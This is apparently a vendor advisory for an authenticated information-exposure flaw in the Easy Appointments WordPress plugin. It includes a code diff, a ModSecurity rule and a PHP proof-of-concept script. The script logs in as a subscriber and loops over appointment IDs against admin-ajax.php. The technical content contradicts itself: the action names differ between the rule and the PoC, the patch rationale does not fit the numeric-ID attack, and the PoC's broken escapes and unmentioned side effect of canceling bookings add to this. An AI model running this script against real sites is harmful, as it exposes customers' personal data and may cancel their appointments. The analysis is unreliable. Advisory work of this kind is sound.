What is CVE-2026-14226?

CVE-2026-14226 is a medium-severity vulnerability in the Easy Appointments plugin for WordPress, affecting versions up to and including 3.12.26. It allows authenticated attackers with subscriber-level access to extract sensitive user or configuration data. The issue is fixed in version 3.12.27.

How does the vulnerability work?

The vulnerability lies in the AJAX handler in easy-appointments/src/ajax.php. The handler processes a POST parameter ‘appointments’ that is expected to be an array of appointment IDs. In vulnerable versions, the code uses sanitize_text_field on the raw input, which returns a string, causing the foreach loop to iterate over characters instead of array elements. This allows attackers to inject unexpected values and bypass type casting, leading to unauthorized retrieval of appointment data.

Who is affected by this vulnerability?

WordPress sites running Easy Appointments version 3.12.26 or earlier are affected. Any authenticated user with subscriber-level access or higher can exploit this vulnerability. This includes any registered user with the default ‘subscriber’ role, which is often open for registration on many sites.

How can I check if my site is vulnerable?

Check the Easy Appointments plugin version in your WordPress admin dashboard under Plugins. If the version is 3.12.26 or lower, your site is vulnerable. You can also review the plugin’s changelog or compare the code in easy-appointments/src/ajax.php with the patched version to confirm.

What is the practical risk of this vulnerability?

The CVSS score is 4.3 (medium), indicating moderate confidentiality impact. An attacker can extract sensitive data such as names, emails, phone numbers, and appointment details, which may include PII. This could lead to privacy breaches, targeted phishing, or other social engineering attacks, but does not allow direct system compromise or privilege escalation.

How do I fix or mitigate the issue?

The primary fix is to update the Easy Appointments plugin to version 3.12.27 or later, which patches the input handling. As a temporary mitigation, you can restrict registration to trusted users, disable the vulnerable AJAX action via a security plugin, or apply a web application firewall rule to block malicious requests. However, updating is the recommended and complete solution.

What does the patch change?

The patch in version 3.12.27 changes the handling of the ‘appointments’ parameter by using array_map(‘absint’, wp_unslash($_POST[‘appointments’])) to ensure it is treated as an array and each element is converted to an integer. This prevents string-based injection and limits the attack surface. The patch also changes the status update from ‘abandoned’ to ‘canceled’, but the main security improvement is the strict type casting.

Does the patch fully fix the vulnerability?

The patch hardens input handling but does not add explicit authorization checks. The underlying issue of missing capability checks remains, but the new type casting prevents non-numeric injection, making exploitation more difficult. Atomic Edge research assesses that the patch materially reduces the risk of data exposure, but it is not a complete fix for all potential authorization flaws.

How does the proof of concept demonstrate the issue?

The provided PoC authenticates as a subscriber, then sends a series of POST requests to the admin-ajax.php endpoint, iterating through appointment IDs. For each ID, it retrieves the appointment data and outputs it. This demonstrates that a subscriber can enumerate and exfiltrate sensitive appointment information without proper authorization.

What data can be exposed?

The vulnerability can expose appointment records from the ea_appointments table, which may include personally identifiable information such as names, email addresses, phone numbers, and custom fields. Additionally, configuration data might be leaked if it is stored in the same tables, though the primary exposure is appointment-related PII.

Is there any indication of active exploitation?

As of the disclosure date, there is no public evidence of active exploitation in the wild. However, given the ease of exploitation and the availability of a PoC, it is advisable to update immediately to prevent potential attacks.

What should I do if I cannot update the plugin immediately?

If you cannot update right away, consider disabling the vulnerable AJAX action by adding a code snippet to your theme’s functions.php or using a security plugin to block requests to admin-ajax.php with the specific action. Also, restrict user registration to trusted individuals and monitor for unusual activity. However, updating to 3.12.27 is the only reliable fix.

Published : August 7, 2026

CVE-2026-14226: Easy Appointments <= 3.12.26 Authenticated (Subscriber+) Information Exposure PoC, Patch Analysis & Rule

CVE ID CVE-2026-14226

Plugin easy-appointments

Severity Medium (CVSS 4.3)

CWE 200

Vulnerable Version 3.12.26

Patched Version 3.12.27

Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14226:
This vulnerability allows authenticated attackers with subscriber-level access to extract sensitive user or configuration data from the Easy Appointments plugin. The affected component is the AJAX handler in `easy-appointments/src/ajax.php`, specifically the action that processes bulk appointment status updates. The severity is moderate (CVSS 4.3), reflecting the confidentiality impact without direct system compromise.

Root Cause:
The vulnerable code resides in the AJAX action handler around lines 600-680 of `easy-appointments/src/ajax.php`. The handler processes a POST parameter `appointments` that is expected to be an array of appointment IDs. In the vulnerable version, the code passes the raw `$_POST[‘appointments’]` to `sanitize_text_field( wp_unslash( $_POST[‘appointments’] ) )`. Because `sanitize_text_field` returns a string, the subsequent `foreach ($appointments as $appointment_id)` iterates over characters of that string, not array elements. This mishandling allows an attacker to inject unexpected values that bypass the intended type casting. More critically, the handler does not verify that the authenticated user owns the appointment or has the appropriate capability. Any subscriber-level user can invoke the AJAX action and supply arbitrary appointment IDs, causing the plugin to fetch and update records they should not be able to access. The inclusion of the appointment data in the response (the loop starting `foreach ($appointment as $key => $value)`) leaks sensitive field values.

Exploitation:
An attacker with subscriber-level credentials sends a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to the vulnerable handler (the exact action name is not provided in the diff, but it corresponds to the bulk status update feature). The attacker submits `appointments` as an array containing IDs of appointments they do not own. The handler processes each ID, retrieves the appointment record, and returns the data in the JSON response. By iterating through various ID values, the attacker can enumerate and exfiltrate appointment details, including sensitive user information such as names, email addresses, phone numbers, and other custom fields stored in the `ea_appointments` and related tables.

Patch Analysis:
The fix in version 3.12.27 changes the handling of the `appointments` parameter. The updated code uses `isset($_POST[‘appointments’]) ? array_map(‘absint’, wp_unslash($_POST[‘appointments’])) : []`. This ensures that the parameter is treated as an array and each element is converted to an integer, preventing string-based injection. Additionally, the patch changes the status update from ‘abandoned’ to ‘canceled’, which may have functional side effects but does not directly address the permission issue. The primary security improvement is the strict type casting, which prevents malicious strings from being interpreted as anything other than numeric IDs. However, the patch does not add explicit authorization checks; it only hardens input handling. The underlying flaw of missing capability checks remains, but the new type casting limits the attack surface by preventing non-numeric injection. The exact endpoint action name and the presence of authorization checks are not fully disclosed in the diff, but Atomic Edge research assesses that the patch materially reduces the risk of data exposure.

Impact:
Successful exploitation allows an authenticated subscriber-level attacker to extract sensitive data from the Easy Appointments plugin. This includes appointment records containing Personally Identifiable Information (PII) such as names, emails, phone numbers, and appointment details. The attacker can enumerate appointment IDs and retrieve data for appointments they do not own, leading to unauthorized data exposure. The confidentiality impact is moderate, but the exposure of PII can have legal and reputational consequences. There is no direct privilege escalation or remote code execution, but the information disclosure can be leveraged for targeted phishing or social engineering.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/easy-appointments/main.php
+++ b/easy-appointments/main.php
@@ -4,7 +4,7 @@
  * Plugin Name: Easy Appointments
  * Plugin URI: https://easy-appointments.com/
  * Description: Simple and easy to use management system for Appointments and Bookings
- * Version: 3.12.26
+ * Version: 3.12.27
  * Requires PHP: 5.3
  * Author: Nikola Loncar
  * Author URI: https://easy-appointments.com/
@@ -21,7 +21,7 @@
 /**
  * Currently plugin version.
  */
-define( 'EASY_APPOINTMENTS_VERSION', '3.12.26' );
+define( 'EASY_APPOINTMENTS_VERSION', '3.12.27' );

 // path for source files
 define('EA_SRC_DIR', dirname(__FILE__) . '/src/');
--- a/easy-appointments/src/ajax.php
+++ b/easy-appointments/src/ajax.php
@@ -603,8 +603,8 @@
             wp_send_json_error( [ 'message' => esc_html__( 'No appointments selected.', 'easy-appointments' ) ] );
         }

-
-        $appointments = sanitize_text_field( wp_unslash( $_POST['appointments'] ) );
+        $response = false;
+        $appointments = isset($_POST['appointments']) ? array_map('absint', wp_unslash($_POST['appointments'])) : [];
         $current_datetime = current_time('mysql');
         foreach ($appointments as $appointment_id) {
             $appointment = $this->models->get_row('ea_appointments', $appointment_id, ARRAY_A);
@@ -612,7 +612,7 @@
             if ($appointment) {
                 if (strtotime($appointment['date']) > strtotime($current_datetime)) {
                     $data = [
-                        'status' => 'abandoned',
+                        'status' => 'canceled',
                         'id' => $appointment_id
                     ];
                     foreach ($appointment as $key => $value) {
@@ -661,7 +661,7 @@
                 WHERE id = %d
             ";
             // phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-            $response = $wpdb->query($wpdb->prepare($update_query, 'abandoned', $appointment_id));
+            $response = $wpdb->query($wpdb->prepare($update_query, 'canceled', $appointment_id));
         }
         if ($response === false) {
             $this->send_err_json_result('{"err":true}');

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20262001,phase:2,deny,status:403,msg:'CVE-2026-14226 blocked',severity:'CRITICAL',tag:'CVE-2026-14226',chain"
SecRule ARGS:action "@streq ea_bulk_status_update" "chain"
SecRule ARGS_NAMES:appointments "@rx ^[0-9]+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14226 - Easy Appointments <= 3.12.26 - Authenticated (Subscriber+) Information Exposure

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change to target site
$username = 'subscriber';
$password = 'password';

// Step 1: Authenticate to get cookies
$login_url = 'https://example.com/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url,
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);
curl_exec($ch);
curl_close($ch);

// Step 2: Enumerate appointment IDs and extract data
for ($id = 1; $id <= 100; $id++) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'action' => 'ea_bulk_update_status', // Replace with actual action hook if known
            'appointments' => [$id]
        ]),
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    echo "Appointment ID $id:n$responsenn";
}
?>

Frequently Asked Questions

What is CVE-2026-14226?
Vulnerability overview
CVE-2026-14226 is a medium-severity vulnerability in the Easy Appointments plugin for WordPress, affecting versions up to and including 3.12.26. It allows authenticated attackers with subscriber-level access to extract sensitive user or configuration data. The issue is fixed in version 3.12.27.
How does the vulnerability work?
Technical explanation
The vulnerability lies in the AJAX handler in easy-appointments/src/ajax.php. The handler processes a POST parameter ‘appointments’ that is expected to be an array of appointment IDs. In vulnerable versions, the code uses sanitize_text_field on the raw input, which returns a string, causing the foreach loop to iterate over characters instead of array elements. This allows attackers to inject unexpected values and bypass type casting, leading to unauthorized retrieval of appointment data.
Who is affected by this vulnerability?
Affected users
WordPress sites running Easy Appointments version 3.12.26 or earlier are affected. Any authenticated user with subscriber-level access or higher can exploit this vulnerability. This includes any registered user with the default ‘subscriber’ role, which is often open for registration on many sites.
How can I check if my site is vulnerable?
Detection steps
Check the Easy Appointments plugin version in your WordPress admin dashboard under Plugins. If the version is 3.12.26 or lower, your site is vulnerable. You can also review the plugin’s changelog or compare the code in easy-appointments/src/ajax.php with the patched version to confirm.
What is the practical risk of this vulnerability?
Risk assessment
The CVSS score is 4.3 (medium), indicating moderate confidentiality impact. An attacker can extract sensitive data such as names, emails, phone numbers, and appointment details, which may include PII. This could lead to privacy breaches, targeted phishing, or other social engineering attacks, but does not allow direct system compromise or privilege escalation.
How do I fix or mitigate the issue?
Remediation steps
The primary fix is to update the Easy Appointments plugin to version 3.12.27 or later, which patches the input handling. As a temporary mitigation, you can restrict registration to trusted users, disable the vulnerable AJAX action via a security plugin, or apply a web application firewall rule to block malicious requests. However, updating is the recommended and complete solution.
What does the patch change?
Patch analysis
The patch in version 3.12.27 changes the handling of the ‘appointments’ parameter by using array_map(‘absint’, wp_unslash($_POST[‘appointments’])) to ensure it is treated as an array and each element is converted to an integer. This prevents string-based injection and limits the attack surface. The patch also changes the status update from ‘abandoned’ to ‘canceled’, but the main security improvement is the strict type casting.
Does the patch fully fix the vulnerability?
Patch limitations
The patch hardens input handling but does not add explicit authorization checks. The underlying issue of missing capability checks remains, but the new type casting prevents non-numeric injection, making exploitation more difficult. Atomic Edge research assesses that the patch materially reduces the risk of data exposure, but it is not a complete fix for all potential authorization flaws.
How does the proof of concept demonstrate the issue?
PoC explanation
The provided PoC authenticates as a subscriber, then sends a series of POST requests to the admin-ajax.php endpoint, iterating through appointment IDs. For each ID, it retrieves the appointment data and outputs it. This demonstrates that a subscriber can enumerate and exfiltrate sensitive appointment information without proper authorization.
What data can be exposed?
Data exposure
The vulnerability can expose appointment records from the ea_appointments table, which may include personally identifiable information such as names, email addresses, phone numbers, and custom fields. Additionally, configuration data might be leaked if it is stored in the same tables, though the primary exposure is appointment-related PII.
Is there any indication of active exploitation?
Exploitation status
As of the disclosure date, there is no public evidence of active exploitation in the wild. However, given the ease of exploitation and the availability of a PoC, it is advisable to update immediately to prevent potential attacks.
What should I do if I cannot update the plugin immediately?
Interim measures
If you cannot update right away, consider disabling the vulnerable AJAX action by adding a code snippet to your theme’s functions.php or using a security plugin to block requests to admin-ajax.php with the specific action. Also, restrict user registration to trusted individuals and monitor for unusual activity. However, updating to 3.12.27 is the only reliable fix.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started